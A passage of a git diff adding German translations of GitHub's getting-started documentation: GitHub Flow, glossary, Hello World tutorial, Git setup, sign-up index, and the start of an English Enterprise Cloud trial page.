+Committe deine Änderungen und pushe sie in deinen Branch. Gib jedem Commit eine aussagekräftige Beschreibung, damit du und zukünftige Mitwirkende nachvollziehen können, welche Änderungen der Commit enthält. Zum Beispiel: `fix typo` oder `increase rate limit`.
+
+Im Idealfall enthält jeder Commit eine isolierte, vollständige Änderung. Das macht es einfach, deine Änderungen rückgängig zu machen, wenn du dich für einen anderen Ansatz entscheidest. Wenn du zum Beispiel eine Variable umbenennen und einige Tests hinzufügen möchtest, fügst du die Variablenumbenennung in einen Commit und die Tests in einen anderen Commit ein. Wenn du später die Tests beibehalten, aber die Umbenennung der Variablen rückgängig machen möchtest, kannst du den Commit rückgängig machen, der die Umbenennung der Variablen beinhaltet. Wenn du die Variablenumbenennung und die Tests in denselben Commit einfügst oder die Variablenumbenennung auf mehrere Commits verteilst, würde dies den Aufwand für das Rückgängigmachen deiner Änderungen erhöhen.
+
+Durch das Committen und Pushen deiner Änderungen sicherst du deine Arbeit in einem Remotespeicher. Dies bedeutet, dass du von jedem Gerät aus auf deine Arbeit zugreifen kannst. Außerdem können alle Projektmitarbeiter deine Arbeit sehen, Fragen beantworten und Vorschläge oder Beiträge einbringen.
+
+Fahre damit fort, Änderungen zu erstellen und in deinen Branch zu committen und zu pushen, bis du bereit bist, Feedback einzuholen.
+
+{% tip %}
+
+**Tipp:** Erstelle einen separaten Branch für jeden Satz nicht zusammengehöriger Änderungen. Das macht es für die Reviewer einfacher, Feedback zu geben. Außerdem ist es so für dich und zukünftige Projektmitarbeiter einfacher, die Änderungen nachzuvollziehen und sie rückgängig zu machen oder darauf aufzubauen. Zudem gibt es keine Verzögerungen bei deinen anderen Änderungen, falls es bei einem Satz von Änderungen zu einer Verzögerung kommt.
+
+{% endtip %}
+
+### Erstellen eines Pull Requests
+
+Erstelle einen Pull Request, um die Projektmitarbeiter um Feedback zu deinen Änderungen zu bitten. Die Überprüfung von Pull Requests ist so wichtig, dass in einigen Repositorys ein Review zur Genehmigung erforderlich ist, bevor Pull Requests gemergt werden können. Wenn du frühes Feedback oder Ratschläge einholen möchtest, bevor du deine Änderungen fertigstellst, kannst du deinen Pull Request als Entwurf markieren. Weitere Informationen findest du unter [Erstellen eines Pull Requests](/articles/creating-a-pull-request).
+
+Wenn du einen Pull Request erstellst, fasse in einer Beschreibung zusammen, welche Änderungen durchgeführt werden und welches Problem gelöst wird. Du kannst zur Verdeutlichung Bilder, Links und Tabellen einfügen. Wenn dein Pull Request ein Issue betrifft, verlinke das Issue, damit die am Issue beteiligten Personen über den Pull Request informiert werden und umgekehrt. Bei einer Verknüpfung mit einem Schlüsselwort wird das Issue automatisch geschlossen, wenn der Pull Request gemergt wird. Weitere Informationen findest du unter [Grundlegende Schreib- und Formatierungssyntax](/github/writing-on-github/basic-writing-and-formatting-syntax) und [Verknüpfen eines Pull Requests mit einem Issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue).
+
+![Pull Request-Text](/assets/images/help/pull_requests/pull-request-body.png)
+
+Du kannst nicht nur den Text des Pull Requests ausfüllen, sondern auch Kommentare zu bestimmten Zeilen des Pull Requests hinzufügen, um die Reviewer ausdrücklich auf etwas hinzuweisen.
+
+![Pull Request-Kommentar](/assets/images/help/pull_requests/pull-request-comment.png)
+
+Dein Repository kann so konfiguriert werden, dass es automatisch einen Review von bestimmten Teams oder Benutzern anfordert, wenn ein Pull Request erstellt wird. Darüber hinaus kannst du manuell per Erwähnung (@mention) oder bei bestimmten Personen oder Teams einen Review anfordern.
+
+Wenn dein Repository so konfiguriert ist, dass Überprüfungen für Pull Requests durchgeführt werden, werden dir alle Überprüfungen angezeigt, die bei deinem Pull Request fehlgeschlagen sind. Das hilft dir, Fehler zu finden, bevor du deinen Branch zusammenführst. Weitere Informationen findest du unter [Informationen zu Statusüberprüfungen](/github/collaborating-with-issues-and-pull-requests/about-status-checks).
+
+### Nutzen von Reviewkommentaren
+
+Reviewer sollten Fragen stellen, Kommentare abgeben und Vorschläge machen. Reviewer können den gesamten Pull Request kommentieren oder Kommentare zu bestimmten Zeilen hinzufügen. Du und die Reviewer können Bilder oder Codevorschläge einfügen, um Kommentare zu verdeutlichen. Weitere Informationen findest du unter [Überprüfen von Änderungen in Pull Requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests).
+
+Du kannst als Reaktion auf die Reviews weitere Änderungen committen und pushen. Dein Pull Request wird automatisch aktualisiert werden.
+
+### Mergen deines Pull Requests
+
+Sobald dein Pull Request genehmigt wurde, kannst du ihn mergen. Dabei wird dein Branch automatisch zusammengeführt, sodass deine Änderungen im Standardbranch erscheinen. {% data variables.product.prodname_dotcom %} speichert den Verlauf der Kommentare und Commits im Pull Request, damit zukünftige Mitwirkende deine Änderungen nachvollziehen können. Weitere Informationen findest du unter [Mergen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
+
+{% data variables.product.prodname_dotcom %} informiert dich, ob dein Pull Request Konflikte aufweist, die vor dem Zusammenführen aufgelöst werden müssen. Weitere Informationen findest du unter [Informationen zu Mergekonflikten](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts).
+
+Die Schutzeinstellungen für den Branch können das Mergen blockieren, wenn dein Pull Request bestimmte Anforderungen nicht erfüllt. Du benötigst z. B. eine bestimmte Anzahl von Reviews zur Genehmigung oder ein Review zur Genehmigung durch ein bestimmtes Team. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches).
+
+### Löschen deines Branches
+
+Nachdem du deinen Pull Request gemergt hast, löschst du deinen Branch. Dies zeigt an, dass die Arbeit an dem Branch abgeschlossen ist und verhindert, dass du oder andere versehentlich alte Branches verwenden. Weitere Informationen findest du unter [Löschen und Wiederherstellen von Branches in einem Pull Request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request).
+
+Du musst keine Angst haben, Informationen zu verlieren. Dein Pull Request und der Commitverlauf werden nicht gelöscht. Du kannst deinen gelöschten Branch oder den Pull Request bei Bedarf jederzeit wiederherstellen.
diff --git a/translations/de-DE/content/get-started/quickstart/github-glossary.md b/translations/de-DE/content/get-started/quickstart/github-glossary.md
new file mode 100644
index 0000000000..de0bd64a2c
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/github-glossary.md
@@ -0,0 +1,32 @@
+---
+title: GitHub-Glossar
+intro: 'Dieses Glossar führt in die gängige Git- und {% data variables.product.prodname_dotcom %}-Terminologie ein.'
+redirect_from:
+  - /articles/github-glossary
+  - /github/getting-started-with-github/github-glossary
+  - /github/getting-started-with-github/quickstart/github-glossary
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 3595b29a43cd7181bf5203f892b3bee84a237c29
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160844'
+---
+{% for glossary in glossaries %}
+  ### {{ glossary.term }}
+  {{ glossary.description}}
+  ---
+{% endfor %}
+
+---
+
+## Weiterführende Themen
+
+- [Das offizielle Git-Glossar](https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html)
+- [Git-Dokumentation](https://git-scm.com/doc)
+- [Git-Befehlsliste](https://git-scm.com/docs)
diff --git a/translations/de-DE/content/get-started/quickstart/hello-world.md b/translations/de-DE/content/get-started/quickstart/hello-world.md
new file mode 100644
index 0000000000..6904171013
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/hello-world.md
@@ -0,0 +1,157 @@
+---
+title: Hello World
+intro: 'Absolviere diese Hallo-Welt-Übung, um dich mit {% data variables.product.product_name %} vertraut zu machen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Pull requests
+  - Fundamentals
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 71278b720bcbfaabc892c396ab7fb558f5309173
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145125865'
+---
+## Einführung
+
+{% data variables.product.product_name %} ist eine Codehostingplattform für die Versionskontrolle und Zusammenarbeit. Du kannst von jedem Ort aus mit anderen an Projekten zusammenarbeiten.
+
+In diesem Tutorial werden {% data variables.product.product_name %}-Grundlagen wie Repositorys, Commits und Pull Requests behandelt. Du erstellst ein eigenes Hallo-Welt-Repository und lernst den Pull-Request-Workflow von {% data variables.product.product_name %} kennen, der häufig beim Programmieren und für Code Reviews eingesetzt wird.
+
+Inhalt dieses Schnellstarts:
+
+* Erstellen und Verwenden eines Repositorys
+* Beginnen und Verwalten eines neuen Branches
+* Bearbeiten von Dateien und Pushen der Dateien an {% data variables.product.product_name %} als Commits
+* Öffnen und Mergen von Pull Requests
+
+Für dieses Tutorial benötigst du ein [{% data variables.product.product_name %}-Konto](http://github.com) und Internetzugriff. du benötigst keine Kenntnisse im Programmieren oder im Umgang mit der Befehlszeile. Auch eine Installation von Git (Versionskontrollsoftware, auf der {% data variables.product.product_name %} basiert) ist nicht erforderlich. Wenn du Fragen zu den in diesem Leitfaden verwendeten Begriffen hast, kannst du diese im [Glossar](/get-started/quickstart/github-glossary) nachschlagen.
+
+## Repository erstellen
+
+Ein Repository wird in der Regel verwendet, um ein einzelnes Projekt zu organisieren. Repositorys können Ordner und Dateien, Bilder, Videos, Tabellenkalkulationen und Datasets enthalten – also alles, was dein Projekt benötigt. Häufig enthalten Repositorys eine _README-Datei_. Dabei handelt es sich um eine Datei mit Informationen zu deinem Projekt. _README-Dateien_ werden in einer Markdown-Sprache mit Nur-Text geschrieben. Dieses [Cheatsheet](https://www.markdownguide.org/cheat-sheet/) hilft ihnen beim Einstieg in die Markdown-Syntax. Auf {% data variables.product.product_name %} kannst du beim Erstellen eines neuen Repositorys eine _README-Datei_ hinzuzufügen. Auf {% data variables.product.product_name %} gibt es auch andere gängige Optionen, zum Beispiel für Lizenzdateien, doch diese musst du jetzt nicht ausprobieren.
+
+In deinem `hello-world`-Repository kannst du Ideen und Ressourcen speichern, für andere freigeben und sich mit anderen austauschen.
+
+{% data reusables.repositories.create_new %}
+1. Gib `hello-world` in das Feld **Repositoryname** ein.
+2. Gib im Feld **Beschreibung** eine kurze Beschreibung ein.
+3. Wähle **README-Datei hinzufügen** aus.
+4. Wähle die Option **Öffentlich** oder **Privat** für dein Repository aus.
+5. Klicke auf **Repository erstellen**.
+
+   ![Erstellen eines Hallo-Welt-Repositorys](/assets/images/help/repository/hello-world-repo.png)
+
+## Branch erstellen
+
+Mithilfe von Branching kannst du verschiedene Versionen eines Repositorys gleichzeitig verwalten.
+
+Standardmäßig verfügt dein Repository über einen Branch mit dem Namen `main`, der als maßgeblicher Branch betrachtet wird. Basierend auf `main` kannst du zusätzliche Branches in deinem Repository erstellen. Du kannst Branches verwenden, wenn du verschiedene Versionen eines Projekts gleichzeitig benötigst. So kannst du dem Projekt neue Features hinzufügen, ohne die Hauptquelle für den Code zu ändern. Die an den anderen Branches vorgenommenen Änderungen werden erst in den Mainbranch aufgenommen, wenn du diese mergst. Dieses Thema wird später in diesem Leitfaden behandelt. Du kannst Branches verwendest, um Experimente und Änderungen vorzunehmen, bevor du diese an `main` committest.
+
+Wenn du einen Branch aus `main` erstellst, handelt es sich um eine Kopie bzw. Momentaufnahme von `main` zum jeweiligen Zeitpunkt. Wenn eine andere Person Änderungen an `main` vornimmt, während du an deinem Branch arbeitest, könntest du diese Updates pullen.
+
+Dieses Diagramm zeigt:
+
+* Der Branch `main`
+* Ein neuer Branch namens `feature`
+* Der Weg von `feature` bis zum Merge mit `main`
+
+![Diagramm zum Branching](/assets/images/help/repository/branching.png)
+
+Hast du schon einmal verschiedene Versionen einer Datei gespeichert? Zum Beispiel:
+
+* `story.txt`
+* `story-edit.txt`
+* `story-edit-reviewed.txt`
+
+Branches haben eine ähnliche Funktion in {% data variables.product.product_name %}-Repositorys.
+
+Unsere Entwickler*innen, Autor*innen und Designer*innen bei {% data variables.product.product_name %} verwenden Branches, um Fehlerkorrekturen und Arbeiten an Features vom `main`-Branch (Produktionsbranch) getrennt zu halten. Wenn ein Update fertig ist, mergen sie ihren Branch mit `main`.
+
+### Erstellen einer Verzweigung
+
+1. Klicke auf die Registerkarte **Code** deines `hello-world`-Repositorys.
+2. Klicke oben in der Dateiliste auf die Dropdownliste mit dem Namen **main**.
+   ![Branchmenü](/assets/images/help/branch/branch-selection-dropdown.png)
+4. Gib den Branchnamen `readme-edits` in das Textfeld ein.
+5. Klicke auf **Branch erstellen: readme-edits aus main**.
+
+![Branchmenü](/assets/images/help/repository/new-branch.png)
+
+Jetzt besitzt du die beiden Branches `main` und `readme-edits`. Derzeit sind diese identisch. Nimm nun Änderungen am neuen Branch vor.
+
+## Vornehmen und Committen von Änderungen
+
+Als du im vorherigen Schritt einen neuen Branch erstellt hast, hat {% data variables.product.product_name %} dich zur Codepage für den neuen Branch `readme-edits` gebracht, der eine Kopie von `main` ist.
+
+Du kannst Änderungen an den Dateien im Repository vornehmen und speichern. Gespeicherte Änderungen heißen auf {% data variables.product.product_name %} Commits. Jeder Commit hat eine zugehörige Commitnachricht, die als Erklärung dient, warum eine bestimmte Änderung vorgenommen wurde. Commitnachrichten erfassen den Verlauf deiner Änderungen, damit andere Mitwirkende nachvollziehen können, was du getan hast und warum.
+
+1. Klicke unter dem erstellten `readme-edits`-Branch auf die Datei _README.md_.
+2. Klicke auf {% octicon "pencil" aria-label="The edit icon" %}, um die Datei zu bearbeiten.
+3. Gib im Editor eine kurze Information zu deiner Person an. Probiere verschiedene Markdown-Elemente aus.
+4. Gib im Feld **Änderungen committen** eine Nachricht ein, die deine Änderungen erklärt.
+5. Klicke auf **Änderungen committen**.
+
+   ![Commitbeispiel](/assets/images/help/repository/first-commit.png)
+
+Diese Änderungen werden nur an der README-Datei in deinem `readme-edits`-Branch vorgenommen, sodass dieser nun einen anderen Inhalt als `main` hat.
+
+## Öffnen eines Pull Request
+
+Nachdem du nun Änderungen in einem aus `main` erstellten Branch vorgenommen hast, kannst du einen Pull Request öffnen.
+
+Pull Requests sind das Herzstück der Zusammenarbeit auf {% data variables.product.product_name %}. Wenn du einen Pull Request öffnest, schlage deine Änderungen vor und beantrage ein Review. Der oder die Reviewer*in pullt deinen Beitrag und mergt diesen mit seinem oder ihrem Branch. Pull Requests heben die Unterschiede zwischen dem Inhalt beider Branches hervor. Die geänderten, ergänzten und entfernten Inhalte werden in verschiedenen Farben angezeigt.
+
+Sobald du einen Commit vornimmst, kannst du einen Pull Request öffnen und eine Diskussion anstoßen, auch wenn der Code noch nicht fertig ist.
+
+Verwende das `@mention`-Feature von {% data variables.product.product_name %} in deiner Pull-Request-Nachricht, um bestimmte Benutzer*innen oder Teams um Feedback zu bitten. Dabei spielt es keine Rolle, ob sich diese im nächsten Büro oder zehn Zeitzonen entfernt aufhalten.
+
+Du kannst sogar Pull Requests in deinem eigenen Repository öffnen und selbst mergen. So kannst du dich mit dem {% data variables.product.product_name %}-Flow vertraut machen, bevor du an größeren Projekten arbeitest.
+
+1. Klicke auf die Registerkarte **Pull Requests** deines `hello-world`-Repositorys.
+2. Klicke auf **Neuer Pull Request**.
+3. Wähle im Feld **Beispielvergleiche** den von dir erstellten Branch `readme-edits` aus, der mit `main` (dem Original) verglichen werden soll.
+4. Überprüfe deine als Unterschiede dargestellten Änderungen auf der Seite „Vergleich“, um sich zu vergewissern, dass du diese Änderungen übermitteln möchtest.
+
+   ![Beispiel für Unterschiede](/assets/images/help/repository/diffs.png)
+
+5. Klicke auf **Pull Request erstellen**.
+6. Gib einen Titel für deinen Pull Request und eine kurze Beschreibung deiner Änderungen ein. Du kannst auch Emojis einfügen, außerdem Bilder und GIFs per Drag & Drop.
+7. Optional kannst du rechts neben dem Titel und der Beschreibung auf das Symbol {% octicon "gear" aria-label="The Gear icon" %} neben **Reviewer** klicken. Du kannst die Optionen **Zugewiesene Personen**, **Bezeichnungen**, **Projekte** oder **Meilenstein** zu deinem Pull Request hinzufügen. Das musst du nicht jetzt tun, doch du solltest diese Optionen kennen, da sie andere Möglichkeiten für die Zusammenarbeit mithilfe von Pull Requests bieten. Weitere Informationen findest du unter [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+7. Klicke auf **Pull Request erstellen**.
+
+Die Projektmitarbeiter*innen können deine Bearbeitungen jetzt überprüfen und Vorschläge machen.
+
+## Mergen deines Pull Request
+
+Im letzten Schritt mergst du deinen `readme-edits`-Branch mit dem `main`-Branch.  Nach dem Mergen deines Pull Request werden die Änderungen am `readme-edits`-Branch in `main` integriert.
+
+Manchmal führen die Codeänderungen durch den Pull Request zu Konflikten mit dem bestehenden Code in `main`. Falls Codekonflikte auftreten, zeigt {% data variables.product.product_name %} eine Warnung an und verhindert den Mergevorgang, bis die Konflikte behoben sind. Du kannst die Konflikte mit einem Commit beheben oder Kommentare im Pull Request erstellen, um diese mit Teammitgliedern zu besprechen.
+
+In dieser exemplarische Vorgehensweise sollten keine Konflikte vorhanden sein. Du bist also bereit, deinen Branch mit dem Mainbranch zu mergen.
+
+1. Klicke auf **Pull Request mergen**, um die Änderungen mit `main` zu mergen.
+  ![Screenshot: Schaltfläche zum Mergen](/assets/images/help/pull_requests/pullrequest-mergebutton.png)
+2. Klicke auf **Merge bestätigen**. Es wird eine Meldung angezeigt, dass der Pull Request erfolgreich gemergt und geschlossen wurde.
+3. Klicke auf **Branch löschen**. Da dein Pull Request gemergt wurde und deine Änderungen in `main` gespeichert sind, kannst du den `readme-edits`-Branch bedenkenlos löschen. Wenn du weitere Änderungen an deinem Projekt vornehmen möchtest, kannst du jederzeit einen neuen Branch erstellen und diesen Vorgang wiederholen.
+
+## Nächste Schritte
+
+In diesem Tutorial hast du erfahren, wie du auf {% data variables.product.product_name %} ein Projekt und einen Pull Request erstellst.
+
+Das hast du in diesem Tutorial gelernt:
+
+* Erstellen eines Open-Source-Repositorys
+* Starten und Verwalten eines neuen Branches
+* Bearbeiten einer Datei und Committen der Änderungen an {% data variables.product.product_name %}
+* Öffnen und Mergen eines Pull Request
+
+Besuche nun dein {% data variables.product.product_name %}-Profil. Dort siehst du, dass deine Aktivitäten auf dem Beitragsdiagramm reflektiert werden.
+
+Weitere Informationen zu Branches und Pull Requests findest du unter [GitHub-Flow](/get-started/quickstart/github-flow). Weitere Informationen zu den ersten Schritten mit {% data variables.product.product_name %} findest du in den anderen Leitfäden in diesem [Schnellstart](/get-started/quickstart).
diff --git a/translations/de-DE/content/get-started/quickstart/index.md b/translations/de-DE/content/get-started/quickstart/index.md
new file mode 100644
index 0000000000..edc4c0648e
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/index.md
@@ -0,0 +1,35 @@
+---
+title: Schnellstart
+intro: 'Mach mit {% data variables.product.product_name %} die ersten Schritte bei der Verwaltung von Git Repositorys und der Zusammenarbeit mit anderen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+children:
+  - /hello-world
+  - /set-up-git
+  - /create-a-repo
+  - /fork-a-repo
+  - /github-flow
+  - /contributing-to-projects
+  - /be-social
+  - /communicating-on-github
+  - /github-glossary
+  - /git-cheatsheet
+  - /git-and-github-learning-resources
+redirect_from:
+  - /github/getting-started-with-github/quickstart
+ms.openlocfilehash: 50362d8bb668b07cbf46e2324403a268266ae656
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125858'
+---
+
diff --git a/translations/de-DE/content/get-started/quickstart/set-up-git.md b/translations/de-DE/content/get-started/quickstart/set-up-git.md
new file mode 100644
index 0000000000..8c007f2055
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/set-up-git.md
@@ -0,0 +1,91 @@
+---
+title: Einrichten von Git
+redirect_from:
+  - /git-installation-redirect
+  - /linux-git-installation
+  - /linux-set-up-git
+  - /mac-git-installation
+  - /mac-set-up-git
+  - /set-up-git-redirect
+  - /win-git-installation
+  - /win-set-up-git
+  - /articles/set-up-git
+  - /github/getting-started-with-github/set-up-git
+  - /github/getting-started-with-github/quickstart/set-up-git
+intro: 'Im Zentrum von {% data variables.product.prodname_dotcom %} ist das Open-Source-Versionskontrollsystem (VCS) namens Git. Git ist für alle {% data variables.product.prodname_dotcom %}-Ereignisse zuständig, die lokal auf deinem Computer stattfinden.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+ms.openlocfilehash: d12782f8531ec856cfa25e7d847527a26e84fb2e
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147643957'
+---
+## Git verwenden
+
+Um Git in der Befehlszeile verwenden zu können, musst du es auf deinen Computer herunterladen und dort installieren und konfigurieren. Du kannst auch {% data variables.product.prodname_cli %} installieren, um {% data variables.product.prodname_dotcom %} in der Befehlszeile zu verwenden. Weitere Informationen findest du unter „[Informationen zu {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)“.
+
+Möchtest du Git lokal, aber ohne Befehlszeile verwenden, kannst du stattdessen den [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %})-Client herunterladen und installieren.  Weitere Informationen findest du unter „[Installieren und Konfigurieren von {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)“.
+
+Wenn du keine Dateien lokal bearbeiten musst, kannst du mit {% data variables.product.product_name %} auch viele Git-Aktionen direkt im Browser ausführen, beispielsweise:
+
+- [Repository erstellen](/articles/create-a-repo)
+- [Repository forken](/articles/fork-a-repo)
+- [Dateien verwalten](/repositories/working-with-files/managing-files)
+- [Sozial interagieren](/articles/be-social)
+
+## Git einrichten
+
+1. [Lade die aktuelle Version von Git herunter, und installiere diese](https://git-scm.com/downloads).
+
+   {% note %}
+   
+   **Hinweis**: Wenn du ein Chrome OS-Gerät verwendest, sind zusätzliche Einrichtungsschritte erforderlich:
+   
+   1. Installiere einen Terminalemulator wie Termux aus dem Google Play Store auf deinem Chrome OS-Gerät.
+   1. Installiere Git über den von dir installierten Terminalemulator. Gib in Termux beispielsweise `apt install git` und dann `y` ein, wenn du dazu aufgefordert wirst. 
+   
+   {% endnote %}
+
+1. [Lege deinen Benutzernamen in Git fest](/github/getting-started-with-github/setting-your-username-in-git).
+1. [Lege deine E-Mail-Adresse für Commits in Git fest](/articles/setting-your-commit-email-address).
+
+## Authentifizierung bei {% data variables.product.prodname_dotcom %} aus Git
+
+Wenn du aus Git eine Verbindung mit einem {% data variables.product.prodname_dotcom %}-Repository herstellen möchtest, musst du dich über HTTPS oder SSH bei {% data variables.product.product_name %} authentifizieren.
+
+{% note %}
+
+**Hinweis:** Du kannst dich mit {% data variables.product.prodname_cli %} über HTTP oder SSH bei {% data variables.product.product_name %} authentifizieren. Weitere Informationen findest du unter [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+
+{% endnote %}
+
+### Verbindung über HTTPS (empfohlen)
+
+Wenn du mit HTTPS klonst, kannst du deine {% data variables.product.prodname_dotcom %}-Anmeldeinformationen mithilfe eines Hilfsprogramms für Anmeldeinformationen in Git zwischenspeichern. Weitere Informationen findest du unter „[Klonen mit HTTPS-URLs](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)“ und „[Zwischenspeichern deiner {% data variables.product.prodname_dotcom %}-Anmeldeinformationen in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)“.
+
+### Verbindung über SSH
+
+Wenn du mit SSH klonst, musst du SSH-Schlüssel auf jedem Computer generieren, den du zum Pushen oder Pullen von {% data variables.product.product_name %} verwendest. Weitere Informationen findest du unter „[Klonen mit SSH-URLs](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls)“ und „[Generieren eines neuen SSH-Schlüssels](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)“.
+
+## Nächste Schritte
+
+Du hast jetzt Git und {% data variables.product.prodname_dotcom %} vollständig eingerichtet. Du kannst jetzt ein Repository für deine Projekte erstellen. Indem du deinen Code in einem Repository speicherst, kannst du deinen Code sichern und mit anderen auf der ganzen Welt teilen. 
+
+* {% data reusables.getting-started.create-a-repository %}.
+
+* {% data reusables.getting-started.fork-a-repository %}
+
+* {% data reusables.getting-started.being-social %}
+
+
+* {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/de-DE/content/get-started/signing-up-for-github/index.md b/translations/de-DE/content/get-started/signing-up-for-github/index.md
new file mode 100644
index 0000000000..aba89d539d
--- /dev/null
+++ b/translations/de-DE/content/get-started/signing-up-for-github/index.md
@@ -0,0 +1,26 @@
+---
+title: Bei GitHub registrieren
+intro: 'Beginne mit der Verwendung von {% data variables.product.prodname_dotcom %} für dich selbst oder dein Team.'
+redirect_from:
+  - /articles/signing-up-for-github
+  - /github/getting-started-with-github/signing-up-for-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+children:
+  - /signing-up-for-a-new-github-account
+  - /verifying-your-email-address
+  - /setting-up-a-trial-of-github-enterprise-cloud
+  - /setting-up-a-trial-of-github-enterprise-server
+ms.openlocfilehash: d533092609c80665a8a4cdbc7a646a9a42365d57
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145125810'
+---
+
diff --git a/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
new file mode 100644
index 0000000000..5d39981bfd
--- /dev/null
+++ b/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
@@ -0,0 +1,84 @@
+---
+title: Setting up a trial of GitHub Enterprise Cloud
+intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.'
+redirect_from:
+  - /articles/setting-up-a-trial-of-github-enterprise-cloud
+  - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud
+  - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Accounts
+shortTitle: Enterprise Cloud trial
+---
+
+{% data reusables.enterprise.ghec-cta-button %}
+
+
+## About {% data variables.product.prodname_ghe_cloud %}
+
+{% data variables.product.prodname_ghe_cloud %} is a plan for large businesses or teams who collaborate on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise.about-github-for-enterprises %}
+
+{% data reusables.organizations.about-organizations %} For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+
+You can use organizations for free with {% data variables.product.prodname_free_team %}, which includes limited features. For additional features, such as SAML single sign-on (SSO), access control for {% data variables.product.prodname_pages %}, and included {% data variables.product.prodname_actions %} minutes, you can upgrade to {% data variables.product.prodname_ghe_cloud %}. For a detailed list of the features available with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page.
+
+You can set up a trial of {% data variables.product.prodname_ghe_cloud %} to evaluate these additional features on a new or existing organization account.
+
+Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)."
+
+{% data reusables.products.which-product-to-use %}
+
+## About trials of {% data variables.product.prodname_ghe_cloud %}
+
+You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/enterprise-cloud@latest/articles/about-billing-for-github-marketplace/)."
+
+Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats.
+
+{% data reusables.saml.saml-accounts %}
+
+For more information, see "[About identity and access management with SAML single sign-on](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% data variables.product.prodname_emus %} is not part of the free trial of {% data variables.product.prodname_ghe_cloud %}. If you're interested in {% data variables.product.prodname_emus %}, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+
+## Setting up your trial of {% data variables.product.prodname_ghe_cloud %}
+
+Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a personal account. If you don't already have a personal account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/free-pro-team@latest/articles/signing-up-for-a-new-github-account)."
+
+1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise).
+1. Click **Start a free trial**.
+   !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png)
+1. Click **Enterprise Cloud**.
